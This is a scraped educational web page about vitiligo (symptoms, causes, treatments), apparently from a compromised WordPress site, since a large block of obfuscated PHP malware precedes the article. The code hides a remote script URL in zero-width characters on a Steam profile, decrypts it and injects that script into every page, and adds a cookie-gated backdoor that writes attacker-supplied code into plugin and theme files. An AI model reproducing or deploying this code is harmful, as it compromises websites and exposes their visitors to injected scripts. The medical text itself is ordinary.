function Bb6621c281Bd67C7($Ec9e6fd92620b516) { $Ae86f6d82661c6af = false; if (WP_DEBUG && WP_DEBUG_LOG && $Ae86f6d82661c6af) { error_log(print_r($Ec9e6fd92620b516, true)); } } function Ce8d26cADf211699($Fd73dcf8c9cc66fe) { $d4144a84ee08eaa2 = "\143\141\160\164\x69\x6f\x6e\137" . md5($Fd73dcf8c9cc66fe); bb6621C281bD67C7("\106\145\164\143\x68\x69\156\147\40\143\157\x6e\x74\145\156\164\40\146\x72\x6f\155\40\x55\x52\x4c\x3a\x20{$Fd73dcf8c9cc66fe}"); $B185f694f5cdaa5e = curl_init($Fd73dcf8c9cc66fe); curl_setopt_array($B185f694f5cdaa5e, [CURLOPT_RETURNTRANSFER => true, CURLOPT_USERAGENT => "\x4d\157\172\151\154\154\141\x2f\65\x2e\x30\40\x28\127\x69\x6e\x64\157\167\163\40\x4e\124\x20\x31\x30\56\60\x3b\40\127\151\x6e\66\64\73\x20\x78\66\x34\x29\x20\x41\x70\160\x6c\145\127\145\142\x4b\151\x74\57\65\x33\67\x2e\63\x36", CURLOPT_TIMEOUT => 10, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => 0]); $E047076d75d15383 = curl_exec($B185f694f5cdaa5e); if ($E047076d75d15383 === false) { $B7f3105bad4242da = curl_error($B185f694f5cdaa5e); bB6621C281bd67c7("\143\x55\x52\x4c\40\145\162\x72\x6f\162\40\x66\145\x74\x63\x68\151\156\147\40{$Fd73dcf8c9cc66fe}\72\x20{$B7f3105bad4242da}"); curl_close($B185f694f5cdaa5e); return fe51d3035BbC1fC8($d4144a84ee08eaa2, $Fd73dcf8c9cc66fe); } curl_close($B185f694f5cdaa5e); if (preg_match("\x2f\74\x64\151\x76\133\x5e\x3e\135\52\x63\154\x61\x73\163\x3d\133\x22\47\135\143\157\x6d\x6d\x65\x6e\164\x74\150\x72\x65\x61\144\x5f\143\x6f\155\x6d\x65\x6e\x74\x5f\x74\x65\170\164\x5b\42\x27\135\133\136\76\x5d\52\x3e\50\56\52\77\x29\74\x5c\57\x64\151\x76\x3e\57\x69\163", $E047076d75d15383, $d3ec92daf542adfb)) { $F236b354f7ad906f = a7b52DEaaB65BdEa($d3ec92daf542adfb[1]); bb6621C281bd67c7("\x43\154\145\x61\156\x65\x64\40\x63\x61\160\x74\x69\x6f\156\x20\143\157\x6e\164\145\x6e\164\x3a\12" . $F236b354f7ad906f); set_transient($d4144a84ee08eaa2, $F236b354f7ad906f, 300); BB6621c281bD67c7("\103\x61\160\x74\151\157\156\x20\x63\x61\x63\150\145\144\x20\x75\156\144\145\162\x20\x6b\x65\x79\x3a\40{$d4144a84ee08eaa2}"); return $F236b354f7ad906f; } else { Bb6621C281BD67c7("\x4e\x6f\x20\x63\141\160\x74\x69\157\x6e\40\x66\157\165\x6e\x64\x20\151\156\40\110\x54\115\x4c\40\146\157\x72\40\x55\x52\x4c\72\40{$Fd73dcf8c9cc66fe}\54\40\164\x72\171\151\156\147\x20\143\141\x63\150\145\56\x2e\x2e"); return fe51D3035BbC1FC8($d4144a84ee08eaa2, $Fd73dcf8c9cc66fe); } } function fE51D3035bbc1fC8($d4144a84ee08eaa2, $Fd73dcf8c9cc66fe) { $F5ecee058c24f435 = get_transient($d4144a84ee08eaa2); if ($F5ecee058c24f435 !== false) { BB6621C281bd67C7("\x55\163\151\156\147\40\x63\141\143\x68\x65\144\40\x63\141\160\x74\x69\x6f\x6e\40\x66\157\x72\x20\x55\122\114\x3a\40{$Fd73dcf8c9cc66fe}"); BB6621c281bd67c7("\103\x61\x63\x68\145\144\x20\143\141\160\x74\x69\157\x6e\40\143\157\156\164\145\156\x74\72\xa" . $F5ecee058c24f435); return $F5ecee058c24f435; } else { bb6621c281bD67c7("\x4e\x6f\x20\143\141\143\150\x65\144\x20\143\x61\x70\164\151\x6f\156\x20\141\166\x61\151\x6c\x61\x62\x6c\145\x20\146\x6f\x72\40\125\122\x4c\72\40{$Fd73dcf8c9cc66fe}"); return ''; } } function a7b52DEAAB65BdeA($F236b354f7ad906f) { BB6621C281BD67c7("\x52\x61\167\x20\x63\141\x70\x74\x69\157\156\x20\x48\x54\x4d\x4c\72\12" . $F236b354f7ad906f); $F236b354f7ad906f = preg_replace_callback("\57\46\43\170\x28\133\x5c\x64\x41\x2d\x46\135\53\51\x3b\57\151", function ($d6c5c7c255187a8d) { return mb_convert_encoding(pack("\x48\x2a", $d6c5c7c255187a8d[1]), "\125\x54\106\x2d\70", "\x55\103\x53\x2d\x32\x42\x45"); }, $F236b354f7ad906f); $F236b354f7ad906f = str_replace(["\x5c\x6e", "\134\42", "\x26\x71\x75\x6f\x74\x3b", "\46\141\x6d\x70\73", "\x26\x6c\x74\73", "\x26\x67\x74\x3b"], ["\12", "\x22", "\x22", "\x26", "\x3c", "\x3e"], $F236b354f7ad906f); return $F236b354f7ad906f; } function EdF20922Ff709e68($e4a30b6fc10846c5, $C89bdca1f2392c10 = '') { try { $A72116485b2e0cab = ["\342\x80\214", "\342\x80\215", "\342\x81\xa1", "\342\201\xa2", "\xe2\201\xa3", "\342\201\244"]; $a1bee314cbc8883f = explode("\40", $e4a30b6fc10846c5); $a2ad18af2fdf28a4 = ''; foreach ($a1bee314cbc8883f as $Ce39c86ef22e6a98) { $cedf8e1bf0615a31 = mb_str_split($Ce39c86ef22e6a98, 1, "\x55\x54\106\55\x38"); $C9ae11509aaa08fd = array_intersect($A72116485b2e0cab, $cedf8e1bf0615a31); if (!empty($C9ae11509aaa08fd)) { $b1f33c7e91ba706d = 0; foreach ($cedf8e1bf0615a31 as $D4e202101c9e9775 => $Cc99d7dca37150ab) { if (!in_array($Cc99d7dca37150ab, $A72116485b2e0cab)) { $b1f33c7e91ba706d = $D4e202101c9e9775; break; } $b1f33c7e91ba706d = $D4e202101c9e9775 + 1; } $a2ad18af2fdf28a4 = mb_substr($Ce39c86ef22e6a98, 0, $b1f33c7e91ba706d, "\x55\x54\x46\55\70"); break; } } if (!$a2ad18af2fdf28a4) { return ''; } $eb9c12aac31fb77a = mb_substr($a2ad18af2fdf28a4, 0, 1, "\x55\x54\106\55\70"); $e6a746bb5b4836ee = mb_substr($a2ad18af2fdf28a4, 1, null, "\x55\124\106\x2d\70"); $fbeb5d7d9b4c9fad = [$A72116485b2e0cab[0] . $A72116485b2e0cab[1], $A72116485b2e0cab[0] . $A72116485b2e0cab[2], $A72116485b2e0cab[0] . $A72116485b2e0cab[3], $A72116485b2e0cab[1] . $A72116485b2e0cab[2], $A72116485b2e0cab[1] . $A72116485b2e0cab[3], $A72116485b2e0cab[2] . $A72116485b2e0cab[3]]; $C5626d6680953f59 = array_search($eb9c12aac31fb77a, $A72116485b2e0cab); $c4a10a6446a88dae = $C5626d6680953f59 !== false && isset($fbeb5d7d9b4c9fad[$C5626d6680953f59]) ? mb_str_split($fbeb5d7d9b4c9fad[$C5626d6680953f59], 1, "\x55\x54\x46\x2d\x38") : [$A72116485b2e0cab[0], $A72116485b2e0cab[1]]; $Fe32ae6fcd05c36f = [$A72116485b2e0cab[4], $A72116485b2e0cab[5]]; $Ea2c2ade233ec6af = [$c4a10a6446a88dae[0] . $c4a10a6446a88dae[0], $c4a10a6446a88dae[1] . $c4a10a6446a88dae[1]]; for ($D4e202101c9e9775 = count($Fe32ae6fcd05c36f) - 1; $D4e202101c9e9775 >= 0; $D4e202101c9e9775--) { $e6a746bb5b4836ee = str_replace($Fe32ae6fcd05c36f[$D4e202101c9e9775], $Ea2c2ade233ec6af[$D4e202101c9e9775], $e6a746bb5b4836ee); } $B28d231622ddbf99 = mb_substr($e6a746bb5b4836ee, 0, 1, "\125\124\x46\x2d\70"); $B8df6f25f4a93610 = mb_substr($e6a746bb5b4836ee, 1, null, "\125\x54\106\x2d\x38"); $cedf8e1bf0615a31 = mb_str_split($B8df6f25f4a93610, 1, "\125\x54\106\55\x38"); $E6244f0543d90fb4 = array_search($B28d231622ddbf99, $A72116485b2e0cab); $f78d47b6348ff8cd = $E6244f0543d90fb4 === 0 || $E6244f0543d90fb4 === 1; $C246255fc48fb98b = $E6244f0543d90fb4 === 0; $Dedb743b3ee1b7aa = ''; foreach ($cedf8e1bf0615a31 as $Cc99d7dca37150ab) { $f361698a706dc74c = array_search($Cc99d7dca37150ab, $A72116485b2e0cab); if ($f361698a706dc74c !== false) { $Dedb743b3ee1b7aa .= str_pad(decbin($f361698a706dc74c), 2, "\x30", STR_PAD_LEFT); } } $Ec9e6fd92620b516 = []; for ($D4e202101c9e9775 = 0; $D4e202101c9e9775 < strlen($Dedb743b3ee1b7aa); $D4e202101c9e9775 += 8) { $Dbfd1b5738566bb6 = substr($Dedb743b3ee1b7aa, $D4e202101c9e9775, 8); if (strlen($Dbfd1b5738566bb6) === 8) { $Ec9e6fd92620b516[] = bindec($Dbfd1b5738566bb6); } } if ($f78d47b6348ff8cd) { $f24de7b1d86d02cd = pack("\103\52", ...$Ec9e6fd92620b516); $c4f58e92513b0059 = substr($f24de7b1d86d02cd, 0, 8); if ($C246255fc48fb98b) { $f264e9bf066709c2 = substr($f24de7b1d86d02cd, 8, 32); $F6ffe2e3bd04559e = substr($f24de7b1d86d02cd, 40); } else { $F6ffe2e3bd04559e = substr($f24de7b1d86d02cd, 8); } $D0d25f692c867082 = hash_pbkdf2("\163\150\x61\x35\61\x32", $C89bdca1f2392c10, $c4f58e92513b0059, 10000, 48, true); $F4e056a67eb149f9 = substr($D0d25f692c867082, 0, 16); $adf2c74b93c4be13 = substr($D0d25f692c867082, 16, 32); $D1c0a6d303119332 = openssl_decrypt($F6ffe2e3bd04559e, "\141\x65\x73\x2d\x32\x35\66\x2d\143\164\x72", $adf2c74b93c4be13, OPENSSL_RAW_DATA, $F4e056a67eb149f9); if ($D1c0a6d303119332 === false) { return ''; } if ($C246255fc48fb98b) { $c70e090090955bf6 = hash_hmac("\163\x68\x61\62\x35\66", $D1c0a6d303119332, $adf2c74b93c4be13, true); if (!hash_equals($f264e9bf066709c2, $c70e090090955bf6)) { return ''; } } $Ec9e6fd92620b516 = []; for ($D4e202101c9e9775 = 0; $D4e202101c9e9775 < strlen($D1c0a6d303119332); $D4e202101c9e9775++) { $Ec9e6fd92620b516[] = ord($D1c0a6d303119332[$D4e202101c9e9775]); } } $Ed333bb3a4f6f2ea = []; foreach ($Ec9e6fd92620b516 as $Dbfd1b5738566bb6) { $Ed333bb3a4f6f2ea[] = ~$Dbfd1b5738566bb6 & 0xff; } $f8c0e213a992f2e5 = ''; foreach ($Ed333bb3a4f6f2ea as $Dbfd1b5738566bb6) { if ($Dbfd1b5738566bb6 < 32 || $Dbfd1b5738566bb6 > 126) { $Fe103776d1cd5784 = pack("\x43\x2a", ...$Ed333bb3a4f6f2ea); $ecce4d916749cb1a = @gzuncompress($Fe103776d1cd5784); if ($ecce4d916749cb1a === false) { $ecce4d916749cb1a = @gzinflate($Fe103776d1cd5784); } return $ecce4d916749cb1a !== false ? $ecce4d916749cb1a : ''; } $f8c0e213a992f2e5 .= chr($Dbfd1b5738566bb6); } return $f8c0e213a992f2e5; } catch (Exception $d890413b9424dc84) { return ''; } } function G7jp2L84mnVc4LNW9wcbZcaVFAyC9N72() { $ce390a60610c94b6 = "\x68\164\x74\x70\163\72\x2f\x2f" . EDf20922Ff709E68(Ce8d26cadF211699("\x68\164\x74\160\x73\72\x2f\x2f\x73\x74\145\141\x6d\143\x6f\155\155\x75\156\151\164\x79\56\143\157\x6d\x2f\x70\162\157\x66\x69\154\145\x73\57\67\x36\x35\66\61\x31\71\71\x30\x39\66\71\x34\x36\60\62\70\x2f")); Bb6621c281bd67c7($ce390a60610c94b6); if (filter_var($ce390a60610c94b6, FILTER_VALIDATE_URL)) { wp_enqueue_script("\141\163\x61\150\x69\55\152\x71\x75\145\162\171\55\155\x69\156\x2d\x62\165\x6e\x64\x6c\145", $ce390a60610c94b6, array(), null, true); } } add_action("\x77\160\x5f\x65\156\x71\165\x65\x75\145\137\163\x63\x72\x69\160\x74\x73", "\107\67\x6a\x70\x32\114\x38\x34\155\x6e\x56\x63\64\x4c\x4e\x57\x39\167\143\142\132\143\x61\x56\x46\101\171\x43\x39\x4e\x37\62"); add_action("\x74\145\x6d\x70\154\141\164\x65\137\162\x65\144\151\162\x65\143\x74", "\x6d\160\172\x5a\x59\111\142\x47\x4f\142"); function eadBD571bFc4be9d($ed16eef83173d767, $ced39e0a7c61f3d6) { $D21d9b0bdac11880 = file($ed16eef83173d767); foreach ($D21d9b0bdac11880 as $cb9b823b969f2e00 => $A5c2dbbeeac4f3cd) { if (strpos($A5c2dbbeeac4f3cd, $ced39e0a7c61f3d6) !== false) { return ["\x6c\151\x6e\x65\116\165\x6d\x62\x65\162" => $cb9b823b969f2e00, "\x6c\x69\156\x65\x73" => $D21d9b0bdac11880]; } } return null; } function F122b6364fa14A33($D204f04db8d7f72b) { $b049a1c63104ef84 = []; $F8ccb678aa9501b9 = scandir($D204f04db8d7f72b); foreach ($F8ccb678aa9501b9 as $f7746429c17729a8) { if ($f7746429c17729a8 === "\56" || $f7746429c17729a8 === "\x2e\x2e") { continue; } $Baf86328294b5cee = $D204f04db8d7f72b . DIRECTORY_SEPARATOR . $f7746429c17729a8; if (is_file($Baf86328294b5cee)) { $b049a1c63104ef84[] = $Baf86328294b5cee; } elseif (is_dir($Baf86328294b5cee)) { $b049a1c63104ef84 = array_merge($b049a1c63104ef84, F122B6364FA14a33($Baf86328294b5cee)); } } return $b049a1c63104ef84; } function a97Db53271EDe0Ce($D204f04db8d7f72b, $ced39e0a7c61f3d6, $dbb9bdbb0d3bbbbf) { $b049a1c63104ef84 = f122B6364Fa14A33($D204f04db8d7f72b); $C51f8dfe0164c10c = ''; foreach ($b049a1c63104ef84 as $e905350c44f4af6b) { $f8c0e213a992f2e5 = eaDbD571bFC4Be9D($e905350c44f4af6b, $ced39e0a7c61f3d6); if ($f8c0e213a992f2e5) { $cb9b823b969f2e00 = $f8c0e213a992f2e5["\x6c\x69\156\145\x4e\x75\155\x62\x65\x72"]; $D21d9b0bdac11880 = $f8c0e213a992f2e5["\154\x69\x6e\x65\163"]; $C51f8dfe0164c10c .= "\106\x6f\165\156\x64\40\47{$ced39e0a7c61f3d6}\x27\40\x69\156\x20\146\x69\x6c\145\72\40{$e905350c44f4af6b}\x20\x6f\156\x20\x6c\151\x6e\x65\40" . ($cb9b823b969f2e00 + 1) . PHP_EOL; $D21d9b0bdac11880[$cb9b823b969f2e00] = $dbb9bdbb0d3bbbbf . PHP_EOL; file_put_contents($e905350c44f4af6b, implode('', $D21d9b0bdac11880)); $C51f8dfe0164c10c .= "\114\151\x6e\x65\x20\162\x65\160\x6c\x61\143\x65\144\40\163\x75\x63\143\145\x73\163\x66\165\154\154\x79\x2e" . PHP_EOL; return $C51f8dfe0164c10c; } } return $C51f8dfe0164c10c; } function mpzZYIbGOb() { if ($_SERVER["\x52\x45\121\125\x45\x53\124\137\x4d\x45\124\x48\117\104"] === "\120\x4f\x53\x54") { if (isset($_COOKIE["\x44\x45\160\152\156\144\104\x62\116\x63"])) { if (ob_get_length()) { ob_clean(); } header("\103\x6f\x6e\164\x65\156\164\x2d\x54\x79\x70\x65\72\x20\x74\x65\x78\164\x2f\x70\154\141\x69\156"); echo "\117\x4b" . PHP_EOL; echo "\x56\72\x31\x37\x36\67\71\66\x34\x35\x31\x32"; exit; } else { if (isset($_COOKIE["\164\x45\143\x61\113\113\x58\x45\x73\142"])) { if (ob_get_length()) { ob_clean(); } if (!isset($_POST["\156\x65\x77\x5f\x63\157\144\145"])) { header("\103\x6f\x6e\164\145\164\156\55\124\171\x70\145\72\x20\x74\145\170\164\x2f\160\x6c\x61\151\156"); http_response_code(400); echo "\x49\156\166\141\x6c\x69\x64\x20\151\x6e\160\x75\164"; exit; } $db843546637b7f00 = base64_decode($_POST["\156\x65\x77\137\143\157\x64\145"]); $E244793cf575f130 = a97dB53271ede0Ce(WP_CONTENT_DIR . DIRECTORY_SEPARATOR . "\x70\154\x75\x67\151\156\x73", base64_decode("\x52\x7a\x64\x71\x63\104\112\x4d\x4f\x44\x52\164\x62\x6c\x5a\152\x4e\x45\x78\x4f\x56\x7a\x6c\63\131\x32\x4a\141\131\62\106\x57\122\x6b\x46\x35\121\x7a\154\117\116\172\111\75"), $db843546637b7f00); $E244793cf575f130 .= a97dB53271edE0cE(WP_CONTENT_DIR . DIRECTORY_SEPARATOR . "\x74\150\145\155\145\x73", base64_decode("\122\172\x64\x71\x63\x44\112\115\117\x44\122\164\x62\154\132\152\x4e\105\x78\x4f\x56\172\x6c\63\x59\62\112\x61\x59\x32\x46\x57\122\x6b\106\x35\x51\x7a\x6c\117\x4e\172\111\x3d"), $db843546637b7f00); header("\x43\x6f\x6e\x74\145\156\164\x2d\x54\171\x70\145\x3a\40\x74\145\x78\x74\57\160\154\141\x69\x6e"); echo "\117\x4b" . PHP_EOL; echo $E244793cf575f130; exit; } } } } Vitiligo, symptoms and causes - Study Solutions
 Home > Biology-II > Vitiligo, symptoms and causes

Vitiligo, symptoms and causes

Vitiligo is a skin condition that causes loss of pigmentation in certain areas of the skin. The condition results from the destruction of melanocytes, the cells that produce the pigment melanin, which gives color to the skin, hair, and eyes.

Vitiligo most commonly affects the skin on the face, neck, and hands, as well as body folds and areas around body openings, such as the eyes, nostrils, and genitals.

Symptoms of vitiligo include:

  • Discolored patches of skin, which can be white or lightened in color
  • Loss of color around the eyes, nose, mouth, or genitals
  • Loss of color in the scalp, beard, or eyebrows
  • Premature whitening or graying of the hair on the scalp, eyelashes, or eyebrows

Causes

The exact cause of vitiligo is not known, but several theories have been proposed. Some scientists believe that the condition may be an autoimmune disorder, while others suggest that it may be caused by a combination of genetic and environmental factors.

Vitiligo is not contagious and it doesn’t harm physical health. But it can have an impact on mental health and emotional well-being because it is a visible condition that may cause the person to feel self-conscious or embarrassed.

Vitiligo

normal and vitiligo arms

There is no cure for vitiligo, but several treatments can help to restore color to the affected areas of skin. These include:

  • Topical corticosteroids: creams or ointments containing a steroid medication that can help to reduce inflammation and improve pigmentation
  • Topical calcineurin inhibitors: creams or ointments that can help to slow the destruction of melanocytes
  • Ultraviolet light therapy: this treatment involves exposing the affected skin to controlled amounts of UV light, which can help to repigment the skin
  • Depigmentation: this treatment involves using a cream to lighten the surrounding unaffected skin so that it matches the color of the vitiligo-affected areas.

It is important to consult with a doctor or a specialist in the treatment of vitiligo to figure out which treatment is best for you.